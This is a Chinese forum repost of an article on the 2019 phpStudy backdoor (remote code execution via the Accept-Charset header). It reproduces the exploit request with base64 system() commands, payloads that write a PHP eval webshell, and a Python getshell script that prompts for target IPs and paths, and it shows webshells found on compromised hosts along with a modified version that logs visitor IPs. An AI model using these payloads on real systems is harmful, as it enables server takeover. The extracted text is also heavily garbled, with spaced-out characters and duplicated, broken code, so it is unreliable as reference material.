搜索

[14710] 2019-10-17_phpStudy远程RCE漏洞复现以及沦陷主机入侵溯源分析

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-18
2019-10-17_phpStudy远程RCE漏洞复现以及沦陷主机入侵溯源分析 p h p S t u d y 远 程 R C E 漏 洞 复 现 以 及 沦 陷 主 机 入 侵 溯 源 分 析 原 创   艾 登 — — 皮 尔 斯   F r e e B u f   2 0 1 9 - 1 0 - 1 7 前 言 ： 前 言 ： 各 位 各 位 F r e e B u f 观 众 的 姥 爷 大 家 好 ， 我 是 艾 登 观 众 的 姥 爷 大 家 好 ， 我 是 艾 登 — — 皮 尔 斯 皮 尔 斯 ( 玩 看 门 狗 时 候 注 册 的 玩 看 门 狗 时 候 注 册 的 I D ) ， 最 近 安 全 圈 好 不 热 闹 ， 北 京 时 间 ， 最 近 安 全 圈 好 不 热 闹 ， 北 京 时 间 9 月 月 2 0 日 日 “ 杭 州 公 安 杭 州 公 安 ” 官 微 发 布 了 官 微 发 布 了 “ 杭 州 警 方 通 报 打 击 涉 网 违 法 犯 罪 暨 杭 州 警 方 通 报 打 击 涉 网 违 法 犯 罪 暨 ’ 净 净 网 网 2 0 1 9 ’ 专 项 行 动 战 果 专 项 行 动 战 果 ” 推 文 ， 该 推 文 ， 该 “ 后 门 后 门 ” 无 法 被 杀 毒 软 件 扫 描 删 除 ， 并 且 藏 匿 于 软 件 某 功 能 性 代 码 中 ， 极 难 被 发 现 具 有 免 杀 性 质 。 严 重 的 威 胁 到 了 互 联 网 的 空 间 安 全 ， 让 大 量 的 互 联 网 网 无 法 被 杀 毒 软 件 扫 描 删 除 ， 并 且 藏 匿 于 软 件 某 功 能 性 代 码 中 ， 极 难 被 发 现 具 有 免 杀 性 质 。 严 重 的 威 胁 到 了 互 联 网 的 空 间 安 全 ， 让 大 量 的 互 联 网 网 名 的 个 人 隐 私 信 息 遭 到 存 在 大 面 积 泄 露 的 风 险 ， 这 篇 文 章 分 为 图 文 教 程 和 视 频 教 程 名 的 个 人 隐 私 信 息 遭 到 存 在 大 面 积 泄 露 的 风 险 ， 这 篇 文 章 分 为 图 文 教 程 和 视 频 教 程 ( 文 章 末 尾 文 章 末 尾 ) 。 。 文 章 目 录 文 章 目 录 : 1 . p h p s t u d y 后 门 检 测 2 . p h p s t u d y 远 程 R C E 后 门 复 现 图 文 教 程 3 . p h p s t u d y 远 程 R C E 后 门 复 现 教 视 频 程 3 . P y t h o n 编 写 复 现 脚 本 4 . P y t h o n 编 写 批 量 复 现 脚 本 5 . 针 对 部 署 p h p s t u d y 环 境 服 务 器 已 沦 陷 的 主 机 进 行 溯 源 分 析 / 黑 客 入 侵 画 像 6 . 修 复 建 议 7 . 参 考 准 备 工 具 ： 准 备 工 具 ： V M w a r e   W o r k s t a t i o n   P r o W i n d o w s 7 的 /   2 0 0 8 R 2 B u r p S u i t e F r e e p h p S t u d y 2 0 1 6 1 1 0 3 . z i p （ 文 中 使 用 ） p h p S t u d y 2 0 1 8 0 2 1 1 . z i p P y t h o n 一 、 一 、 p h p s t u d y 后 门 检 测 ： 后 门 检 测 ： ( 1 ) p h p S t u d y 2 0 1 6 1 1 0 3 后 门 位 置 存 在 于 ： 后 门 位 置 存 在 于 ： * : p h p S t u d y p h p p h p - 5 . 2 . 1 7 e x t p h p _ x m l r p c . d l l * : p h p S t u d y p h p p h p - 5 . 2 . 1 7 e x t p h p _ x m l r p c . d l l ( 2 ) p h p S t u d y 2 0 1 8 0 2 1 1 后 门 位 置 存 在 于 ： 后 门 位 置 存 在 于 ： * : P H P T u t o r i a l P H P P H P - 5 . 2 . 1 7 e x t p h p _ x m l r p c . d l l * : P H P T u t o r i a l P H P P H P - 5 . 4 . 4 5 e x t p h p _ x m l r p c . d l l
( 3 ) 找 到 “   p h p _ x m l r p c ， d l l ” 后 用 记 事 本 打 开 ， “   C t r l   +   F ” 搜 索 “   @ e v a   ” 字 符 串 如 果 存 在 就 存 在 后 门 ： ( 4 ) P h p s t u d y 后 门 分 析 文 章 传 送 门 ： h t t p s : / / w w w . f r e e b u f . c o m / n e w s / t o p n e w s / 2 1 4 9 1 2 . h t m l h t t p s : / / w w w . c p p e n t r y . c o m / b e n c a n d y . p h p ? f i d = 8 5 & i d = 2 6 1 7 9 1 二 、 二 、 p h p s t u d y 远 程 远 程 R C E 后 门 复 现 图 文 教 程 后 门 复 现 图 文 教 程 : ( 1 ) 虚 拟 机 搭 建 好 P h p s t u d y 环 境 ， 我 这 里 使 用 的 是 p h p s t u d y 2 0 1 6 版 本 P h p s t u d y 环 境 1 9 2 . 1 6 8 . 1 . 9 1 ( 2 ) 浏 览 器 访 问 靶 机 地 址 ： h t t p ： ： / / 1 9 2 . 1 6 8 . 1 . 9 1 /
( 3 ) 浏 览 器 设 置 本 地 代 理 并 且 打 开 B u r p S u i t e F r e e 抓 包 ( 4 ) p h p s t u d y   R C E   P O C ： G E T   /   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 4 3 . 9 9 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ; x 6 4 ;   r v : 6 9 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 6 9 . 0 A c c e p t : t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , / ; q = 0 . 8 A c c e p t - L a n g u a g e : z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 A c c e p t - E n c o d i n g :   g z i p , d e f l a t e A c c e p t - C h a r s e t : ” c o m m a n d b a s e 6 4   s t r i n g ” C o n n e c t i o n :   c l o s e U p g r a d e - I n s e c u r e - R e q u e s t s :   1 C a c h e - C o n t r o l :   m a x - a g e = 0 ( 5 ) C T R L   +   R 把 请 求 包 转 发 到 中 继 器 模 块 A c c e p t - C h a r s e t : ” c o m m a n d   b a s e 6 4   s t r i n g ” 中 执 行 命 令 经 过 了 的 的 B a s e 6 4 编 码 加 密 ： 执 行 语 句 指 令 ： s y s t e m ( ‘ w h o a m i ’ ) ; B A S E 6 4   编 码 后 ： c 3 l z d G V t K C d 3 a G 9 h b W k n K T s   = 替 换 进 去 A c c e p t - C h a r s e t :   c 3 l z d G V t K C d 3 a G 9 h b W k n K T s = 还 要 把 “   ” 中 的 前 面 的 空 格 删 除 。 A c c e p t - E n c o d i n g : g z i p ,   d e f l a t e d e f l a t e ( 6 ) 构 造 好 执 行 语 句 为 W H O A M I 的 P O C 如 下 ： G E T   /   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 . 9 1 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ; r v : 6 9 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 6 9 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , / ; q = 0 . 8 A c c e p t - L a n g u a g e : z h - C N , z h ; q = 0 . 8 , z h - T W ; q = 0 . 7 , z h - H K ; q = 0 . 5 , e n - U S ; q = 0 . 3 , e n ; q = 0 . 2 A c c e p t - E n c o d i n g :   g z i p , d e f l a t e
A c c e p t - C h a r s e t :   c 3 l z d G V t K C d 3 a G 9 h b W k n K T s = C o n n e c t i o n :   c l o s e U p g r a d e - I n s e c u r e - R e q u e s t s :   1 C a c h e - C o n t r o l :   m a x - a g e = 0 （ w h o a m i 执 行 结 果 ） （ n e t   u s e r 执 行 查 询 查 询 查 询 查 询 结 果 ） ( 7 ) 写 入 w e b s h e l 升 的 操 作 可 以 使 用 待 办 事 项 命 令 下 E C H O   实 现 系 统 （ “   w r i t e _ w e b s h e l l ” ） ； ( 8 ) 完 整 写 出 w e b s h e l 升 的 语 句 ： ( 1 0 ) 拼 接 后 的 语 句 ( 1 1 ) 拼 接 好 B a s e 6 4   编 码 后 的 代 码 ： （ 成 功 写 入 的 w e b s h e l ） E C H O   ^ < ? p h p   @ e v a l ( $ _ P O S T [ c m d ] ) ; ? ^ > > " C : / p h p S t u d y / W W W / d e m o n . p h p s y s t e m ( '   E C H O   ^ < ? p h p @ e v a l ( $ _ P O S T [ c m d ] ) ;   ? ^ > > " C : / p h p S t u d y / W W W / d e m o n . p h p   ' ) ; c 3 l z d G V t K C c g R U N I T y B e P D 9 w a H A g Q G V 2 Y W w o J F 9 Q T 1 N U W 2 N t Z F 0 p O y A / X j 4 + I k M 6 L 3 B o c F N 0 d W R 5 L 1 d X V y 9 k Z W 1 v b i 5 w a H A g J y k 7
（ 中 国 蚁 剑 连 接 成 功 ） （ 中 国 蚁 剑 链 接 的 w e b s h e l 升 命 令 执 行 成 功 ） ( 1 2 ) 视 频 复 现 ：
三 、 三 、 P y t h o n 复 现 复 现 p h p s t u d y 远 程 远 程 R C E 漏 洞 ： 漏 洞 ： ( 1 ) P y t h o n   编 写 P h p s t u d y 2 0 1 6   /   2 0 1 8 远 程 R C E 利 用 脚 本 代 码 ： ( 2 ) 我 们 可 以 看 到 上 面 的 这 个 P y t h o n 复 现 p h p s t u d y 远 程 R C E 的 脚 本 针 对 于 单 一 命 令 的 p h p s t u d y 部 署 的 站 点 例 如 这 种 界 面 额 的 还 比 较 方 便 ， 如 果 我 们 不 知 道 绝 对 路 径 是 不 是 就 不 能 写 入 w e b s h e l l 了 ? 其 实 这 并 不 会 ! ( 3 ) 针 对 于 p h p s t u d y 指 针 页 面 无 法 访 问 的 我 们 其 实 可 以 枚 举 一 下 他 的 物 理 路 径 地 址 即 可 ， 不 知 道 绝 地 路 径 可 以 枚 举 一 下 物 理 的 绝 对 理 解 然 后 把 列 表 中 的 绝 地 地 址 元 素 传 入 函 数 中 递 归 请 求 判 断 即 可 ， 这 里 就 不 贴 出 代 码 了 。 ( 4 ) 与 此 同 时 各 位 老 表 在 进 行 枚 举 检 测 ， 但 是 作 为 一 个 白 帽 子 ， 千 万 不 要 越 过 红 线 。 建 议 大 家 检 测 的 时 候 不 要 写 入 一 句 话 木 马 ， 直 接 写 出 一 个 p h p i n f o ( ) ; 比 较 好 也 是 保 护 了 自 己 。 ( 5 ) P y t h o n 脚 本 复 现 P h p s t u d y   2 0 1 6 / 2 0 1 8 远 程 R C E 漏 洞 效 果 ： 四 、 针 对 四 、 针 对 部 署 部 署 p h p s t u d y 环 境 服 务 器 环 境 服 务 器 已 被 入 侵 的 主 机 进 行 溯 源 分 析 已 被 入 侵 的 主 机 进 行 溯 源 分 析 : ( 1 ) 我 在 进 行 随 机 检 测 p h p s t u d y 的 时 候 已 经 发 现 了 部 分 感 染 主 机 被 黑 帽 S E O 利 用 了 ， 用 于 增 加 搜 索 引 擎 关 键 词 的 排 名 来 吸 引 流 量 。 ( 2 ) 部 分 检 测 到 存 在 漏 洞 p h p s t u d y 服 务 器 主 机 网 站 根 目 录 下 高 频 出 现 的 p h p 一 句 话 木 马 文 件 名 如 下 : i m p o r t   b a s e 6 4 i m p o r t   r e q u e s t s p r i n t ( ' ' '                 = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =                                         > > > > > > > > > > > > > > > > P h p s t u d y   2 0 1 6 / 2 0 1 8   远 程   R C E   G e t s h e l 工 具 < < < < < < < < < < < < < < < <                                         [ + ] B y : 艾 登 — — 皮 尔 斯                                         [ + ] 脚 本 仅 用 学 习 教 育 目 的                                         [ + ] 请 您 务 必 遵 守 《 中 华 人 民 共 和 国 网 络 安 全 法 》                 = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =                 ' ' '         r   =   r e q u e s t s . g e t ( u r l = u r l ,   h e a d e r s = h e a d e r s )         c h e a c k _ w e b s h e l l   =   r e q u e s t s . g e t ( u r l + " / d e m o n . p h p " ) i f   c h e a c k _ w e b s h e l l . s t a t u s _ c o d e   = =   2 0 0 :                 p r i n t ( " n n [ + ] { }                                 W e b s h e l l 写 入 成 功 " . f o r m a t ( u r l ) ) e l s e :                 p r i n t ( " n n [ + ] { }                                 W e b s h e l l 写 入 失 败 " . f o r m a t ( u r l ) )         p r i n t ( " n = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = n n " ) w h i l e   T r u e :         p a t h   =   i n p u t ( s t r ( " 请 你 输 入 绝 对 路 径 : " ) )         u r l   =   i n p u t ( s t r ( " 请 你 输 入 I P 地 址 / 域 名 : " ) )         p a y l o a d _ q u r y   =   " " " s y s t e m ( ' E C H O   ^ < ? p h p   @ e v a l ( $ _ P O S T [ c m d ] ) ;   ? ^ > > " { } / d e m o n . p h p " ' ) ; " " " . f o r m a t ( p a t h )         p a y l o a d   =   b a s e 6 4 . b 6 4 e n c o d e ( p a y l o a d _ q u r y . e n c o d e ( ' u t f - 8 ' ) )         p a y l o a d   =   s t r ( p a y l o a d ,   ' u t f - 8 ' )         h e a d e r s   =   { ' U p g r a d e - I n s e c u r e - R e q u e s t s ' :   ' 1 ' , ' U s e r - A g e n t ' :   ' M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 1 ;   W i n 6 4 ;   x 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 7 5 . 0 . 3 7 7 0 . 1 0 0   S a f a r i / 5 3 7 . 3 6 '         w r i t e _ s h e l l ( u r l = u r l ,   h e a d e r s = h e a d e r s ) P a t h = [ ' C : / p h p / W W W ' , " D : / p h p / W W W " , " E : / p h p / W W W " . . . . . . . . ]
( 3 ) 下 面 的 这 三 位 仁 兄 ( 大 黑 客 ) 就 是 通 过 了 e c h o 的 方 式 写 入 了 w e b s h e l l 一 句 话 木 马 到 网 站 的 根 目 录 下 进 行 链 接 ， 先 放 到 一 边 后 面 在 一 起 做 后 门 取 证 。 ( 4 ) 另 类 的 后 门 “ l i s h u n s h e n g . p h p ” 应 该 是 一 个 人 名 的 拼 音 ， 应 该 是 李 姓 氏 的 。 ( 5 ) 解 密 后 Z n B 1 d H M o Z * * w Z W 4 o J y 4 v d G V z d C 5 w a H A n L C d 3 K y c p L C c 8 P 3 B o c C B l d m F s K C R f U E 9 T V F t j X S k 7 P z 4 n K T s =
( 6 ) 写 出 文 件 名 为 ” t e x t . p h p ” 链 接 密 码 为 “ c ” 的 w e b s h e l l 一 句 话 木 马 到 网 站 根 目 录 下 方 ( 7 ) 还 有 其 他 的 黑 客 是 通 过 p h p m y a d m i n 登 录 弱 口 令 密 码 的 系 统 日 志 文 件 写 入 w e b s h e l l 进 来 的 2 0 1 9 年 9 月 2 3 日 1 7 时 3 0 分 3 3 秒 写 入 f p u t s ( f o p e n ( ' . / t e s t . p h p ' , ' w + ' ) , ' < ? p h p   e v a l ( $ _ P O S T [ c ] ) ; ? > ' ) ;
2 0 1 9 年 9 月 2 3 日 1 8 时 1 6 分 3 3 秒 写 入 w e b s h e l l 图 片 转 载 自 腾 讯 电 脑 管 家 ( 8 ) 上 面 在 9 月 2 3 日 写 入 w e b s h e l l 一 句 话 后 ， 大 黑 客 又 通 过 一 句 话 木 马 w e b s h e l l 上 传 了 一 个 文 件 名 为 “ 0 0 1 1 2 2 . p h p ” 的 w e b s h e l l 不 死 马 基 本 可 以 先 贴 个 标 签 是 同 一 个 大 黑 客 的 攻 击 入 侵 行 为 ， 在 这 里 也 可 以 看 出 p h p s t u d y 一 键 部 署 应 该 把 p h p m y a d m i n 的 默 认 密 码 给 修 改 成 随 机 字 符 串 ， 此 前 就 有 安 全 团 队 针 对 此 问 题 被 黑 产 批 量 g e t s h e l l 的 活 动 进 行 了 分 析 。 五 、 针 对 五 、 针 对 部 署 部 署 p h p s t u d y 环 境 服 务 器 环 境 服 务 器 已 沦 陷 的 主 机 进 行 溯 源 分 析 已 沦 陷 的 主 机 进 行 溯 源 分 析 / 黑 客 入 侵 画 像 黑 客 入 侵 画 像 ( 1 ) 我 们 现 在 已 经 拿 到 了 那 些 黑 客 的 的 w e b s h e l l 一 句 话 后 门 文 件 现 在 就 要 开 始 溯 源 黑 客 的 I P 地 址 ， e m m m m m ， 由 于 我 不 能 直 接 登 录 受 感 染 的 主 机 查 看 访 问 日 志 文 件 ， 那 么 这 就 会 非 常 的 尴 尬 ， 但 是 我 突 然 想 起 了 之 前 我 之 前 给 广 东 省 某 市 的 网 络 执 法 机 构 做 了 一 个 用 来 记 录 黑 客 访 问 w e b s h e l l 一 句 话 时 候 的 I P 地 址 的 脚 本 ， 并 且 通 过 邮 件 或 者 微 信 把 信 息 发 送 给 执 法 人 。 ( 2 ) 但 是 在 检 测 之 前 我 需 要 对 他 们 的 w e b s h e l l 一 句 话 木 马 做 一 下 加 工 处 理 ， 黑 客 原 先 留 下 的 w e b s h e l l 代 码 如 下 : ( 3 ) 我 们 加 工 处 理 黑 客 留 下 的 后 的 w e b s h e l l 代 码 如 下 < ? p h p       @ e v a l ( $ _ P O S T [ p p a s s ] ) ;       ? > < ? p h p $ a d d r e s s   =   $ _ S E R V E R [ ' R E M O T E _ A D D R ' ] ; $ r e f e r e r   =   $ _ S E R V E R [ ' H T T P _ R E F E R E R ' ] ; $ b r o w s e r   =   $ _ S E R V E R [ ' H T T P _ U S E R _ A G E N T ' ] ; $ f i l e   =   f o p e n ( " l o g . h t m l " ,     " a " ) ;     $ t i m e   =   t i m e ( ) ; $ n o w _ d a t e =   d a t e ( ' Y - m - d   H : i : s ' , $ t i m e ) ; f w r i t e (   $ f i l e ,   " < b > T i m e : $ n o w _ d a t e < / b > < b r > "   ) ; f w r i t e (   $ f i l e ,   " < b > I P   A d d r e s s : $ a d d r e s s < / b > < b r > " ) ; f w r i t e (   $ f i l e ,   " < b > R e f e r e r : $ r e f e r e r < / b > < b r > " ) ;     f w r i t e (   $ f i l e ,   " < b > B r o w s e r : $ b r o w s e r < / b > < b r / > < h r > " ) ;     f c l o s e ( $ f i l e ) ; @ e v a l ( $ _ P O S T [ p p a s s ] ) ; ? >
( 4 ) l o g . h t m l 的 路 径 地 址 可 以 修 改 到 存 放 到 网 站 根 目 录 下 的 其 他 文 件 下 ， 避 免 被 发 现 哈 哈 哈 ， 当 黑 客 使 用 中 国 菜 刀 / 中 国 蚁 剑 访 问 w e b s h e l l 的 时 候 就 会 记 录 下 I P 地 址 / 访 问 时 间 / 请 求 头 等 信 息 到 l o g . h t m l 文 件 中 ( 5 ) 模 拟 黑 客 访 问 w e b s h e l l 前 ( 6 ) 模 拟 黑 客 访 问 w e b s e l l 后 ( 7 ) 然 后 本 地 或 者 V P S 上 定 时 访 问 请 求 l o g . h t m l 把 最 新 的 访 问 信 息 通 过 E m a i l 邮 件 的 方 式 发 送 给 执 法 机 关 / 溯 源 工 程 师 ， ( 8 ) 访 问 检 测 已 经 可 以 达 到 了 秒 级 ， 时 间 的 精 度 也 是 非 常 之 高 。 然 后 就 给 全 部 黑 客 的 w e b s h e l l 加 工 一 下 ， 然 后 我 们 在 调 用 本 地 的 脚 本 使 用 一 个 并 发 的 请 求 去 请 求 所 有 的 站 点 l o g . h t m l 静 静 等 待 邮 件 即 可 。 但 是 这 里 并 不 建 议 并 发 请 求 容 易 被 防 火 墙 封 锁 I P ， 所 以 我 就 使 用 了 单 线 线 程 模 式 并 且 使 用 t i i m e 模 块 的 t i m e . s l e e p 设 置 了 请 求 延 迟 ， 我 设 置 了 1 0 秒 访 问 一 次 。 ( 9 ) 设 置 完 毕 之 后 就 可 以 直 接 运 行 监 听 脚 本 了
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理